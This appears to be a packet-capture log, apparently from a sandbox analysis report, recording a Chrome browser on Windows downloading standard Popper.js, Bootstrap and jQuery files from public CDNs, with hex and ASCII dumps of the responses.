2025-01-14 19:04:46 UTC	1369	IN	Data Raw: 2e 68 65 69 67 68 74 7d 2c 62 6f 74 74 6f 6d 3a 7b 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 62 6f 74 74 6f 6d 2d 74 2e 62 6f 74 74 6f 6d 7d 2c 6c 65 66 74 3a 7b 77 69 64 74 68 3a 74 2e 6c 65 66 74 2d 70 2e 6c 65 66 74 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 7d 2c 64 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 73 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 73 65 28 7b 6b 65 79 3a 65 7d 2c 73 5b 65 5d 2c 7b 61 72 65 61 3a 45 28 73 5b 65 5d 29 7d 29 7d 29 2e 73 6f 72 74 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 2e 61 72 65 61 2d 65 2e 61 72 65 61 7d 29 2c 61 3d 64 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 2e 77 69 64 74 68 2c 69 Data Ascii: .height},bottom:{width:p.width,height:p.bottom-t.bottom},left:{width:t.left-p.left,height:p.height}},d=Object.keys(s).map(function(e){return se({key:e},s[e],{area:E(s[e])})}).sort(function(e,t){return t.area-e.area}),a=d.filter(function(e){var t=e.width,i
2025-01-14 19:04:46 UTC	1369	IN	Data Raw: 6e 28 27 60 6d 6f 64 69 66 69 65 72 2e 66 75 6e 63 74 69 6f 6e 60 20 69 73 20 64 65 70 72 65 63 61 74 65 64 2c 20 75 73 65 20 60 6d 6f 64 69 66 69 65 72 2e 66 6e 60 21 27 29 3b 76 61 72 20 69 3d 74 5b 27 66 75 6e 63 74 69 6f 6e 27 5d 7c 7c 74 2e 66 6e 3b 74 2e 65 6e 61 62 6c 65 64 26 26 65 28 69 29 26 26 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 29 2c 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 29 2c 6f 3d 69 28 6f 2c 74 29 29 7d 29 2c 6f 7d 66 75 6e 63 74 69 6f 6e 20 4e 28 29 7b 69 66 28 21 74 68 69 73 2e 73 74 61 74 65 2e 69 73 44 65 73 74 72 6f 79 65 64 29 7b 76 61 72 20 65 3d 7b 69 6e 73 74 61 6e 63 65 3a 74 Data Ascii: n('`modifier.function` is deprecated, use `modifier.fn`!');var i=t['function']\|\|t.fn;t.enabled&&e(i)&&(o.offsets.popper=c(o.offsets.popper),o.offsets.reference=c(o.offsets.reference),o=i(o,t))}),o}function N(){if(!this.state.isDestroyed){var e={instance:t
2025-01-14 19:04:46 UTC	1369	IN	Data Raw: 74 69 6f 6e 73 2e 72 65 6d 6f 76 65 4f 6e 44 65 73 74 72 6f 79 26 26 74 68 69 73 2e 70 6f 70 70 65 72 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 74 68 69 73 2e 70 6f 70 70 65 72 29 2c 74 68 69 73 7d 66 75 6e 63 74 69 6f 6e 20 42 28 65 29 7b 76 61 72 20 74 3d 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3b 72 65 74 75 72 6e 20 74 3f 74 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 77 69 6e 64 6f 77 7d 66 75 6e 63 74 69 6f 6e 20 48 28 65 2c 74 2c 6f 2c 69 29 7b 76 61 72 20 72 3d 27 42 4f 44 59 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 2c 70 3d 72 3f 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 65 3b 70 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 74 2c 6f 2c 7b 70 61 73 73 69 76 65 3a 21 Data Ascii: tions.removeOnDestroy&&this.popper.parentNode.removeChild(this.popper),this}function B(e){var t=e.ownerDocument;return t?t.defaultView:window}function H(e,t,o,i){var r='BODY'===e.nodeName,p=r?e.ownerDocument.defaultView:e;p.addEventListener(t,o,{passive:!
2025-01-14 19:04:46 UTC	1369	IN	Data Raw: 3d 3d 3d 74 7d 29 2c 6e 3d 21 21 69 26 26 65 2e 73 6f 6d 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 6e 61 6d 65 3d 3d 3d 6f 26 26 65 2e 65 6e 61 62 6c 65 64 26 26 65 2e 6f 72 64 65 72 3c 69 2e 6f 72 64 65 72 7d 29 3b 69 66 28 21 6e 29 7b 76 61 72 20 72 3d 27 60 27 2b 74 2b 27 60 27 3b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 27 60 27 2b 6f 2b 27 60 27 2b 27 20 6d 6f 64 69 66 69 65 72 20 69 73 20 72 65 71 75 69 72 65 64 20 62 79 20 27 2b 72 2b 27 20 6d 6f 64 69 66 69 65 72 20 69 6e 20 6f 72 64 65 72 20 74 6f 20 77 6f 72 6b 2c 20 62 65 20 73 75 72 65 20 74 6f 20 69 6e 63 6c 75 64 65 20 69 74 20 62 65 66 6f 72 65 20 27 2b 72 2b 27 21 27 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 4b 28 65 29 7b 72 65 74 75 72 6e 27 65 Data Ascii: ===t}),n=!!i&&e.some(function(e){return e.name===o&&e.enabled&&e.order<i.order});if(!n){var r='`'+t+'`';console.warn('`'+o+'`'+' modifier is required by '+r+' modifier in order to work, be sure to include it before '+r+'!')}return n}function K(e){return'e
2025-01-14 19:04:46 UTC	1369	IN	Data Raw: 3d 3d 3d 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 26 26 2d 31 21 3d 3d 5b 27 2b 27 2c 27 2d 27 5d 2e 69 6e 64 65 78 4f 66 28 74 29 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 3d 74 2c 70 3d 21 30 2c 65 29 3a 70 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 2b 3d 74 2c 70 3d 21 31 2c 65 29 3a 65 2e 63 6f 6e 63 61 74 28 74 29 7d 2c 5b 5d 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 56 28 65 2c 6e 2c 74 2c 6f 29 7d 29 7d 29 2c 61 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 65 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 69 29 7b 55 28 6f 29 26 26 28 6e 5b 74 5d 2b 3d 6f 2a 28 27 2d 27 3d 3d 3d 65 5b 69 2d 31 5d 3f 2d 31 3a 31 29 29 7d 29 7d 29 2c 6e 7d 66 75 6e 63 74 69 6f 6e 20 47 28 65 2c Data Ascii: ===e[e.length-1]&&-1!==['+','-'].indexOf(t)?(e[e.length-1]=t,p=!0,e):p?(e[e.length-1]+=t,p=!1,e):e.concat(t)},[]).map(function(e){return V(e,n,t,o)})}),a.forEach(function(e,t){e.forEach(function(o,i){U(o)&&(n[t]+=o*('-'===e[i-1]?-1:1))})}),n}function G(e,
2025-01-14 19:04:46 UTC	1369	IN	Data Raw: 26 26 65 28 74 2e 70 72 6f 74 6f 74 79 70 65 2c 6f 29 2c 69 26 26 65 28 74 2c 69 29 2c 74 7d 7d 28 29 2c 70 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6f 29 7b 72 65 74 75 72 6e 20 74 20 69 6e 20 65 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 74 2c 7b 76 61 6c 75 65 3a 6f 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 7d 29 3a 65 5b 74 5d 3d 6f 2c 65 7d 2c 73 65 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 7c 7c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6f 3d 31 3b 6f 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 66 6f 72 28 76 61 72 20 69 20 69 6e 20 74 3d 61 72 67 75 6d 65 6e 74 73 5b 6f 5d 2c 74 29 4f Data Ascii: &&e(t.prototype,o),i&&e(t,i),t}}(),pe=function(e,t,o){return t in e?Object.defineProperty(e,t,{value:o,enumerable:!0,configurable:!0,writable:!0}):e[t]=o,e},se=Object.assign\|\|function(e){for(var t,o=1;o<arguments.length;o++)for(var i in t=arguments[o],t)O

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	50082	104.18.11.207	443	5660	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 19:04:46 UTC	385	OUT	GET /bootstrap/4.1.3/js/bootstrap.min.js HTTP/1.1 Host: stackpath.bootstrapcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 19:04:46 UTC	967	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 19:04:46 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close CDN-PullZone: 252412 CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74 CDN-RequestCountryCode: US Vary: Accept-Encoding Access-Control-Allow-Origin: * Cache-Control: public, max-age=31919000 ETag: W/"67176c242e1bdc20603c878dee836df3" Last-Modified: Mon, 25 Jan 2021 22:04:06 GMT CDN-ProxyVer: 1.04 CDN-RequestPullSuccess: True CDN-RequestPullCode: 200 CDN-CachedAt: 10/04/2024 02:53:43 CDN-EdgeStorageId: 1029 timing-allow-origin: * cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff CDN-Status: 200 CDN-RequestTime: 1 CDN-RequestId: 7fedeed1ac4f734c4f5baf0abe375bbe CDN-Cache: HIT CF-Cache-Status: HIT Age: 1771595 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 901fe4cadba80f7b-EWR alt-svc: h3=":443"; ma=86400
2025-01-14 19:04:46 UTC	402	IN	Data Raw: 37 62 65 63 0d 0a 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 31 2e 33 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 2f 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 Data Ascii: 7bec/! Bootstrap v4.1.3 (https://getbootstrap.com/) * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */!function(
2025-01-14 19:04:46 UTC	1369	IN	Data Raw: 65 66 69 6e 65 28 5b 22 65 78 70 6f 72 74 73 22 2c 22 6a 71 75 65 72 79 22 2c 22 70 6f 70 70 65 72 2e 6a 73 22 5d 2c 65 29 3a 65 28 74 2e 62 6f 6f 74 73 74 72 61 70 3d 7b 7d 2c 74 2e 6a 51 75 65 72 79 2c 74 2e 50 6f 70 70 65 72 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 68 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 69 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 65 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 61 72 20 69 3d 65 5b 6e 5d 3b 69 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 69 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 69 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 69 26 26 28 69 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 Data Ascii: efine(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,h){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.def
2025-01-14 19:04:46 UTC	1369	IN	Data Raw: 6e 2c 50 6e 2c 6a 6e 2c 48 6e 2c 4c 6e 2c 52 6e 2c 78 6e 2c 57 6e 2c 55 6e 2c 71 6e 2c 46 6e 3d 66 75 6e 63 74 69 6f 6e 28 69 29 7b 76 61 72 20 65 3d 22 74 72 61 6e 73 69 74 69 6f 6e 65 6e 64 22 3b 66 75 6e 63 74 69 6f 6e 20 74 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 2c 6e 3d 21 31 3b 72 65 74 75 72 6e 20 69 28 74 68 69 73 29 2e 6f 6e 65 28 6c 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 3d 21 30 7d 29 2c 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 7c 7c 6c 2e 74 72 69 67 67 65 72 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 65 29 7d 2c 74 29 2c 74 68 69 73 7d 76 61 72 20 6c 3d 7b 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 3a 22 62 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 22 2c 67 65 74 55 49 Data Ascii: n,Pn,jn,Hn,Ln,Rn,xn,Wn,Un,qn,Fn=function(i){var e="transitionend";function t(t){var e=this,n=!1;return i(this).one(l.TRANSITION_END,function(){n=!0}),setTimeout(function(){n\|\|l.triggerTransitionEnd(e)},t),this}var l={TRANSITION_END:"bsTransitionEnd",getUI
2025-01-14 19:04:46 UTC	1369	IN	Data Raw: 68 61 6e 64 6c 65 72 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 7d 2c 6c 7d 28 65 29 2c 4b 6e 3d 28 6e 3d 22 61 6c 65 72 74 22 2c 61 3d 22 2e 22 2b 28 6f 3d 22 62 73 2e 61 6c 65 72 74 22 29 2c 63 3d 28 72 3d 65 29 2e 66 6e 5b 6e 5d 2c 75 3d 7b 43 4c 4f 53 45 3a 22 63 6c 6f 73 65 22 2b 61 2c 43 4c 4f 53 45 44 3a 22 63 6c 6f 73 65 64 22 2b 61 2c 43 4c 49 43 4b 5f 44 41 54 41 5f 41 50 49 3a 22 63 6c 69 63 6b 22 2b 61 2b 22 2e 64 61 74 61 2d 61 70 69 22 7d 2c 66 3d 22 61 6c 65 72 74 22 2c 64 3d 22 66 61 64 65 22 2c 67 3d 22 73 68 6f 77 22 2c 5f 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 69 28 74 29 7b 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 3d 74 7d 76 61 72 20 74 3d 69 2e 70 72 6f 74 6f 74 79 70 65 3b 72 65 74 75 Data Ascii: handler.apply(this,arguments)}},l}(e),Kn=(n="alert",a="."+(o="bs.alert"),c=(r=e).fn[n],u={CLOSE:"close"+a,CLOSED:"closed"+a,CLICK_DATA_API:"click"+a+".data-api"},f="alert",d="fade",g="show",_=function(){function i(t){this._element=t}var t=i.prototype;retu
2025-01-14 19:04:46 UTC	1369	IN	Data Raw: 2c 5f 2e 5f 68 61 6e 64 6c 65 44 69 73 6d 69 73 73 28 6e 65 77 20 5f 29 29 2c 72 2e 66 6e 5b 6e 5d 3d 5f 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 72 2e 66 6e 5b 6e 5d 2e 43 6f 6e 73 74 72 75 63 74 6f 72 3d 5f 2c 72 2e 66 6e 5b 6e 5d 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 2e 66 6e 5b 6e 5d 3d 63 2c 5f 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d 2c 5f 29 2c 4d 6e 3d 28 70 3d 22 62 75 74 74 6f 6e 22 2c 79 3d 22 2e 22 2b 28 76 3d 22 62 73 2e 62 75 74 74 6f 6e 22 29 2c 45 3d 22 2e 64 61 74 61 2d 61 70 69 22 2c 43 3d 28 6d 3d 65 29 2e 66 6e 5b 70 5d 2c 54 3d 22 61 63 74 69 76 65 22 2c 62 3d 22 62 74 6e 22 2c 49 3d 27 5b 64 61 74 61 2d 74 6f 67 67 6c 65 5e 3d 22 62 75 74 74 6f 6e 22 5d Data Ascii: ,_._handleDismiss(new _)),r.fn[n]=_._jQueryInterface,r.fn[n].Constructor=_,r.fn[n].noConflict=function(){return r.fn[n]=c,_._jQueryInterface},_),Mn=(p="button",y="."+(v="bs.button"),E=".data-api",C=(m=e).fn[p],T="active",b="btn",I='[data-toggle^="button"]
2025-01-14 19:04:46 UTC	1369	IN	Data Raw: 28 74 29 7b 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 3b 76 61 72 20 65 3d 74 2e 74 61 72 67 65 74 3b 6d 28 65 29 2e 68 61 73 43 6c 61 73 73 28 62 29 7c 7c 28 65 3d 6d 28 65 29 2e 63 6c 6f 73 65 73 74 28 4e 29 29 2c 6b 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2e 63 61 6c 6c 28 6d 28 65 29 2c 22 74 6f 67 67 6c 65 22 29 7d 29 2e 6f 6e 28 4f 2e 46 4f 43 55 53 5f 42 4c 55 52 5f 44 41 54 41 5f 41 50 49 2c 49 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 6d 28 74 2e 74 61 72 67 65 74 29 2e 63 6c 6f 73 65 73 74 28 4e 29 5b 30 5d 3b 6d 28 65 29 2e 74 6f 67 67 6c 65 43 6c 61 73 73 28 53 2c 2f 5e 66 6f 63 75 73 28 69 6e 29 3f 24 2f 2e 74 65 73 74 28 74 2e 74 79 70 65 29 29 7d 29 2c 6d 2e 66 6e 5b 70 5d 3d 6b 2e 5f 6a 51 75 65 72 79 Data Ascii: (t){t.preventDefault();var e=t.target;m(e).hasClass(b)\|\|(e=m(e).closest(N)),k._jQueryInterface.call(m(e),"toggle")}).on(O.FOCUS_BLUR_DATA_API,I,function(t){var e=m(t.target).closest(N)[0];m(e).toggleClass(S,/^focus(in)?$/.test(t.type))}),m.fn[p]=k._jQuery
2025-01-14 19:04:46 UTC	1369	IN	Data Raw: 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 6e 74 29 2c 74 68 69 73 2e 5f 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 28 29 7d 76 61 72 20 74 3d 6f 2e 70 72 6f 74 6f 74 79 70 65 3b 72 65 74 75 72 6e 20 74 2e 6e 65 78 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 69 73 53 6c 69 64 69 6e 67 7c 7c 74 68 69 73 2e 5f 73 6c 69 64 65 28 71 29 7d 2c 74 2e 6e 65 78 74 57 68 65 6e 56 69 73 69 62 6c 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 21 64 6f 63 75 6d 65 6e 74 2e 68 69 64 64 65 6e 26 26 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 69 73 28 22 3a 76 69 73 69 62 6c 65 22 29 26 26 22 68 69 64 64 65 6e 22 21 3d 3d 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 63 73 73 28 22 76 69 73 69 62 69 6c 69 Data Ascii: this._element.querySelector(nt),this._addEventListeners()}var t=o.prototype;return t.next=function(){this._isSliding\|\|this._slide(q)},t.nextWhenVisible=function(){!document.hidden&&P(this._element).is(":visible")&&"hidden"!==P(this._element).css("visibili
2025-01-14 19:04:46 UTC	1369	IN	Data Raw: 67 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 3d 6c 28 7b 7d 2c 57 2c 74 29 2c 46 6e 2e 74 79 70 65 43 68 65 63 6b 43 6f 6e 66 69 67 28 6a 2c 74 2c 55 29 2c 74 7d 2c 74 2e 5f 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 6b 65 79 62 6f 61 72 64 26 26 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 6f 6e 28 51 2e 4b 45 59 44 4f 57 4e 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 65 2e 5f 6b 65 79 64 6f 77 6e 28 74 29 7d 29 2c 22 68 6f 76 65 72 22 3d 3d 3d 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 70 61 75 73 65 26 26 28 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 6f 6e 28 51 2e 4d 4f 55 53 45 45 4e 54 45 Data Ascii: g=function(t){return t=l({},W,t),Fn.typeCheckConfig(j,t,U),t},t._addEventListeners=function(){var e=this;this._config.keyboard&&P(this._element).on(Q.KEYDOWN,function(t){return e._keydown(t)}),"hover"===this._config.pause&&(P(this._element).on(Q.MOUSEENTE
2025-01-14 19:04:46 UTC	1369	IN	Data Raw: 6c 65 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 28 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 29 7b 76 61 72 20 65 3d 5b 5d 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 24 29 29 3b 50 28 65 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 56 29 3b 76 61 72 20 6e 3d 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 2e 63 68 69 6c 64 72 65 6e 5b 74 68 69 73 2e 5f 67 65 74 49 74 65 6d 49 6e 64 65 78 28 74 29 5d 3b 6e 26 26 50 28 6e 29 2e 61 64 64 43 6c 61 73 73 28 56 29 7d 7d 2c 74 2e 5f 73 6c 69 64 65 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 6e 2c 69 2c 72 2c 6f 3d 74 68 69 73 Data Ascii: lement=function(t){if(this._indicatorsElement){var e=[].slice.call(this._indicatorsElement.querySelectorAll($));P(e).removeClass(V);var n=this._indicatorsElement.children[this._getItemIndex(t)];n&&P(n).addClass(V)}},t._slide=function(t,e){var n,i,r,o=this
2025-01-14 19:04:46 UTC	1369	IN	Data Raw: 29 74 2e 74 6f 28 69 29 3b 65 6c 73 65 20 69 66 28 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 6e 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 74 5b 6e 5d 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 27 4e 6f 20 6d 65 74 68 6f 64 20 6e 61 6d 65 64 20 22 27 2b 6e 2b 27 22 27 29 3b 74 5b 6e 5d 28 29 7d 65 6c 73 65 20 65 2e 69 6e 74 65 72 76 61 6c 26 26 28 74 2e 70 61 75 73 65 28 29 2c 74 2e 63 79 63 6c 65 28 29 29 7d 29 7d 2c 6f 2e 5f 64 61 74 61 41 70 69 43 6c 69 63 6b 48 61 6e 64 6c 65 72 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 46 6e 2e 67 65 74 53 65 6c 65 63 74 6f 72 46 72 6f 6d 45 6c 65 6d 65 6e 74 28 74 68 69 73 29 3b 69 66 28 65 29 7b 76 61 72 20 6e 3d 50 28 65 29 5b 30 5d 3b 69 Data Ascii: )t.to(i);else if("string"==typeof n){if("undefined"==typeof t[n])throw new TypeError('No method named "'+n+'"');t[n]()}else e.interval&&(t.pause(),t.cycle())})},o._dataApiClickHandler=function(t){var e=Fn.getSelectorFromElement(this);if(e){var n=P(e)[0];i

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	50083	151.101.66.137	443	5660	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 19:04:46 UTC	363	OUT	GET /jquery-3.2.1.slim.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 19:04:46 UTC	612	IN	HTTP/1.1 200 OK Connection: close Content-Length: 69597 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-10fdd" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Tue, 14 Jan 2025 19:04:46 GMT Age: 1398890 X-Served-By: cache-lga21984-LGA, cache-ewr-kewr1740072-EWR X-Cache: HIT, HIT X-Cache-Hits: 507, 1 X-Timer: S1736881487.578120,VS0,VE1 Vary: Accept-Encoding
2025-01-14 19:04:46 UTC	16384	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 32 2e 31 20 2d 61 6a 61 78 2c 2d 61 6a 61 78 2f 6a 73 6f 6e 70 2c 2d 61 6a 61 78 2f 6c 6f 61 64 2c 2d 61 6a 61 78 2f 70 61 72 73 65 58 4d 4c 2c 2d 61 6a 61 78 2f 73 63 72 69 70 74 2c 2d 61 6a 61 78 2f 76 61 72 2f 6c 6f 63 61 74 69 6f 6e 2c 2d 61 6a 61 78 2f 76 61 72 2f 6e 6f 6e 63 65 2c 2d 61 6a 61 78 2f 76 61 72 2f 72 71 75 65 72 79 2c 2d 61 6a 61 78 2f 78 68 72 2c 2d 6d 61 6e 69 70 75 6c 61 74 69 6f 6e 2f 5f 65 76 61 6c 55 72 6c 2c 2d 65 76 65 6e 74 2f 61 6a 61 78 2c 2d 65 66 66 65 63 74 73 2c 2d 65 66 66 65 63 74 73 2f 54 77 65 65 6e 2c 2d 65 66 66 65 63 74 73 2f 61 6e 69 6d 61 74 65 64 53 65 6c 65 63 74 6f 72 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e Data Ascii: /*! jQuery v3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_evalUrl,-event/ajax,-effects,-effects/Tween,-effects/animatedSelector \| (c) JS Foundation and other con
